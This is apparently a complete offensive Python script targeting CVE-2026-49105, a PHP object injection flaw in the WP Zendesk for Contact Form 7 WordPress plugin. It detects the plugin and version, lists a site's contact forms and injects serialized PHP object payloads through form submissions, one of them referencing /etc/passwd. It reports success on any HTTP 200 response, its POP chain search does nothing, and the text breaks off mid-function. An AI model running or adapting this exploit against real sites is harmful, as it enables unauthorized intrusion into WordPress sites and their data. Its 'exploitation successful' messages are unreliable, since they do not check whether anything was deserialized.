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| #!/usr/bin/env python3
"""
CVE-2026-49105 WP Zendesk for Contact Form 7 PHP Object Injection Exploit
CVSS: 8.1 (High)
Unauthenticated attackers can inject arbitrary PHP objects by exploiting
unsafe deserialization of form field values. The vulnerability exists in
cf7-zendesk.php where maybe_unserialize() is called on user-supplied
input without validation. If a POP chain exists, this can lead to RCE.
Legal Notice: Educational and authorized testing only.
"""
import requests
import re
import sys
import argparse
import time
import json
import base64
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup
class ZendeskExploit:
def __init__(self, target_url, verbose=False):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.plugin_detected = False
self.vulnerable_version = False
self.cf7_forms = []
def log(self, message, level="INFO"):
"""Log messages based on verbosity"""
if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
print(f"[{level}] {message}")
def detect_plugin(self):
"""Detect if Zendesk plugin is installed"""
self.log("Detecting WP Zendesk plugin...")
try:
# Check common plugin paths
plugin_paths = [
'/wp-content/plugins/cf7-zendesk/',
'/wp-content/plugins/contact-form-zendesk/',
'/wp-content/plugins/zendesk-contact-form/',
'/wp-content/plugins/integration-zendesk/',
'/wp-content/plugins/wp-zendesk/'
]
for path in plugin_paths:
url = urljoin(self.target_url, path + 'cf7-zendesk.php')
resp = self.session.head(url, timeout=10)
if resp.status_code == 200:
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
# Try to detect via readme.txt
for path in plugin_paths:
url = urljoin(self.target_url, path + 'readme.txt')
resp = self.session.get(url, timeout=10)
if resp.status_code == 200 and 'zendesk' in resp.text.lower():
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
self.log("Plugin not detected via direct paths", "ERROR")
return False
except Exception as e:
self.log(f"Error detecting plugin: {e}")
return False
def check_vulnerability(self):
"""Check if target is vulnerable"""
self.log("Checking vulnerability status...")
try:
# Try to access the plugin's main file
plugin_file = urljoin(self.target_url, '/wp-content/plugins/cf7-zendesk/cf7-zendesk.php')
resp = self.session.get(plugin_file, timeout=10)
if resp.status_code == 200:
# Check version
version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
if version_match:
version = version_match.group(1)
self.log(f"Plugin version: {version}", "INFO")
# Check if vulnerable (<=1.1.4)
version_parts = version.split('.')
if len(version_parts) >= 3:
try:
major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2])
if major < 1 or (major == 1 and minor < 1) or (major == 1 and minor == 1 and patch <= 4):
self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
self.vulnerable_version = True
return True
else:
self.log(f"Version {version} appears patched", "ERROR")
return False
except ValueError:
pass
# Check for vulnerable code pattern
if 'maybe_unserialize' in resp.text and 'UNSAFE' not in resp.text:
self.log("Vulnerable code pattern detected!", "CRITICAL")
self.vulnerable_version = True
return True
self.log("Could not determine vulnerability status", "ERROR")
return False
except Exception as e:
self.log(f"Error checking vulnerability: {e}")
return False
def find_cf7_forms(self):
"""Find Contact Form 7 forms on the site"""
self.log("Searching for Contact Form 7 forms...")
try:
# Try REST API endpoint
api_url = urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms')
resp = self.session.get(api_url, timeout=10)
if resp.status_code == 200:
try:
data = resp.json()
if 'items' in data:
forms = data['items']
self.cf7_forms = forms
self.log(f"Found {len(forms)} CF7 forms via REST API", "SUCCESS")
return forms
except:
pass
# Try to find forms on homepage
resp = self.session.get(self.target_url, timeout=10)
# Look for form IDs
form_matches = re.findall(r'id=["\']wpcf7-f(\d+)-p\d+["\']', resp.text)
if form_matches:
forms = [{'id': form_id} for form_id in set(form_matches)]
self.cf7_forms = forms
self.log(f"Found {len(forms)} CF7 forms on homepage", "SUCCESS")
return forms
self.log("No CF7 forms found", "ERROR")
return []
except Exception as e:
self.log(f"Error finding CF7 forms: {e}")
return []
def create_php_payload(self, payload_type='generic'):
"""Create PHP object injection payload"""
self.log(f"Creating {payload_type} PHP payload...")
# PHP serialized payloads
payloads = {
'generic': 'O:8:"stdClass":0:{}',
'exception': 'O:9:"Exception":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
'arrayobject': 'O:11:"ArrayObject":3:{i:0;a:0:{}i:1;i:0;i:2;i:0;}',
'splfileinfo': 'O:12:"SplFileInfo":2:{s:8:"pathName";s:11:"/etc/passwd";s:4:"path";s:1:"/";}',
'directoryiterator': 'O:18:"DirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
'recursivedirectoryiterator': 'O:25:"RecursiveDirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
'error': 'O:5:"Error":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
}
if payload_type in payloads:
return payloads[payload_type]
return payloads['generic']
def inject_via_cf7_form(self, form_id, payload, field_name='your-message'):
"""Inject PHP object via CF7 form submission"""
self.log(f"Injecting payload via CF7 form {form_id}...")
try:
# CF7 form submission endpoint
form_url = urljoin(self.target_url, f'/?p={form_id}')
# Get form to extract nonce
resp = self.session.get(form_url, timeout=10)
# Extract nonce
nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text)
nonce = nonce_match.group(1) if nonce_match else ''
# Prepare form data with payload
form_data = {
'your-name': 'Test User',
'your-email': 'test@example.com',
field_name: payload,
'_wpcf7': form_id,
'_wpcf7_nonce': nonce,
'_wpcf7_unit_tag': f'wpcf7-f{form_id}-p1-o1',
'_wpcf7_is_ajax_call': '1'
}
# Submit form via REST API
api_url = urljoin(self.target_url, f'/wp-json/contact-form-7/v1/contact-forms/{form_id}/feedback')
resp = self.session.post(
api_url,
json=form_data,
timeout=15
)
self.log(f"Response Status: {resp.status_code}", "INFO")
if resp.status_code in [200, 201]:
self.log("Payload injected successfully!", "SUCCESS")
return True
else:
self.log(f"Injection may have failed: {resp.status_code}", "ERROR")
return False
except Exception as e:
self.log(f"Error injecting via CF7: {e}", "ERROR")
return False
def inject_via_post_request(self, payload, field_name='your-message'):
"""Inject PHP object via direct POST request"""
self.log("Injecting payload via direct POST...")
try:
# Try common form processing endpoints
endpoints = [
'/wp-json/contact-form-7/v1/contact-forms/1/feedback',
'/wp-admin/admin-ajax.php',
'/?action=cf7_submit',
]
for endpoint in endpoints:
url = urljoin(self.target_url, endpoint)
form_data = {
'your-name': 'Test User',
'your-email': 'test@example.com',
field_name: payload,
'_wpcf7_is_ajax_call': '1'
}
resp = self.session.post(url, data=form_data, timeout=15)
if resp.status_code == 200:
self.log(f"Payload injected via {endpoint}", "SUCCESS")
return True
self.log("Direct POST injection failed", "ERROR")
return False
except Exception as e:
self.log(f"Error injecting via POST: {e}", "ERROR")
return False
def test_deserialization(self, form_id):
"""Test if deserialization occurs"""
self.log("Testing for deserialization...")
try:
# Send a simple serialized object
test_payload = 'O:8:"stdClass":1:{s:4:"test";s:5:"value";}'
form_data = {
'your-name': 'Test',
'your-email': 'test@example.com',
'your-message': test_payload
}
api_url = urljoin(self.target_url, f'/wp-json/contact-form-7/v1/contact-forms/{form_id}/feedback')
resp = self.session.post(
api_url,
json=form_data,
timeout=15
)
# Check for signs of deserialization
if resp.status_code in [200, 201]:
self.log("Deserialization appears to occur!", "SUCCESS")
return True
else:
self.log("No deserialization detected", "ERROR")
return False
except Exception as e:
self.log(f"Error testing deserialization: {e}")
return False
def find_pop_chains(self):
"""Identify potential POP chains"""
self.log("Searching for potential POP chains...")
pop_chains = []
try:
# Check for common gadget classes
gadget_classes = [
'Monolog\\Handler\\SyslogUdpHandler',
'Monolog\\Handler\\BufferHandler',
'PHPMailer\\PHPMailer\\PHPMailer',
'Swift_Mailer',
'Doctrine\\ORM\\Mapping\\ClassMetadata',
'Guzzle\\Http\\Message\\Response',
'Symfony\\Component\\Process\\Process',
]
self.log("POP chain detection requires manual analysis", "INFO")
return pop_chains
except Exception as e:
self.log(f"Error finding POP chains: {e}")
return []
def exploit(self, payload_type='generic'):
"""Execute full exploit chain"""
print("\n" + "="*70)
print("CVE-2026-49105 WP Zendesk PHP Object Injection")
print("="*70 + "\n")
# Step 1: Detect plugin
if not self.detect_plugin():
self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
return False
# Step 2: Check vulnerability
if not self.check_vulnerability():
self.log("Target does not appear to be vulnerable", "ERROR")
return False
# Step 3: Find CF7 forms
forms = self.find_cf7_forms()
if not forms:
self.log("No CF7 forms found", "ERROR")
return False
# Step 4: Create payload
payload = self.create_php_payload(payload_type)
self.log(f"Payload: {payload}", "INFO")
# Step 5: Test deserialization with first form
form_id = forms[0].get('id') or forms[0].get('post_id')
if not self.test_deserialization(form_id):
self.log("Deserialization test failed, continuing anyway...", "ERROR")
# Step 6: Inject payload
success = False
for form in forms:
form_id = form.get('id') or form.get('post_id')
if self.inject_via_cf7_form(form_id, payload):
success = True
break
if not success:
# Try direct POST
if self.inject_via_post_request(payload):
success = True
if not success:
return False
print("\n" + "="*70)
print("EXPLOITATION SUCCESSFUL")
print("="*70)
print(f"Target: {self.target_url}")
print(f"Plugin: WP Zendesk for Contact Form 7")
print(f"Payload Type: {payload_type}")
print(f"Payload: {payload}")
print(f"\nObject Injection Successful!")
print(f"Impact depends on available POP chains:")
print(f" - File deletion")
print(f" - Sensitive data retrieval")
print(f" - Remote code execution (with POP chain)")
print("="*70 + "\n")
return True
class CF7FormAnalyzer:
"""Analyze CF7 forms and their fields"""
def __init__(self, target_url, session):
self.target_url = target_url.rstrip('/')
self.session = session
def get_form_fields(self, form_id):
"""Get fields from a specific CF7 form"""
fields = []
try:
api_url = urljoin(
self.target_url,
f'/wp-json/contact-form-7/v1/contact-forms/{form_id}'
)
resp = self.session.get(api_url, timeout=10)
if resp.status_code == 200:
data = resp.json()
# Extract form properties
if 'properties' in data:
props = data['properties']
# Parse form fields
if 'form' in props:
form_html = props['form']
# Extract field names
field_matches = re.findall(r'\[([a-z0-9_-]+)\]', form_html)
fields = list(set(field_matches))
except:
pass
return fields
def analyze_all_forms(self):
"""Analyze all CF7 forms"""
forms_data = []
try:
api_url = urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms')
resp = self.session.get(api_url, timeout=10)
if resp.status_code == 200:
data = resp.json()
if 'items' in data:
for form in data['items']:
form_id = form.get('id')
fields = self.get_form_fields(form_id)
forms_data.append({
'id': form_id,
'title': form.get('title'),
'fields': fields
})
except:
pass
return forms_data
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-49105 WP Zendesk PHP Object Injection Exploit'
)
parser.add_argument('target', help='Target URL (e.g., https://example.com)')
parser.add_argument('-p', '--payload', default='generic',
choices=['generic', 'exception', 'arrayobject', 'splfileinfo',
'directoryiterator', 'recursivedirectoryiterator', 'error'],
help='Payload type (default: generic)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('--detect', action='store_true', help='Detect plugin only')
parser.add_argument('--check', action='store_true', help='Check vulnerability only')
parser.add_argument('--find-forms', action='store_true', help='Find CF7 forms only')
parser.add_argument('--analyze-forms', action='store_true', help='Analyze CF7 forms and fields')
parser.add_argument('--find-pop', action='store_true', help='Find POP chains')
args = parser.parse_args()
# Create exploit instance
exploit = ZendeskExploit(args.target, verbose=args.verbose)
# Detect only
if args.detect:
if exploit.detect_plugin():
print("[+] Plugin detected!")
else:
print("[-] Plugin not detected")
sys.exit(0)
# Check vulnerability
if args.check:
if exploit.check_vulnerability():
print("[+] Target is vulnerable!")
else:
print("[-] Target does not appear vulnerable")
sys.exit(0)
# Find forms
if args.find_forms:
forms = exploit.find_cf7_forms()
print(f"\n[+] Found {len(forms)} CF7 forms:")
for form in forms:
form_id = form.get('id') or form.get('post_id')
|
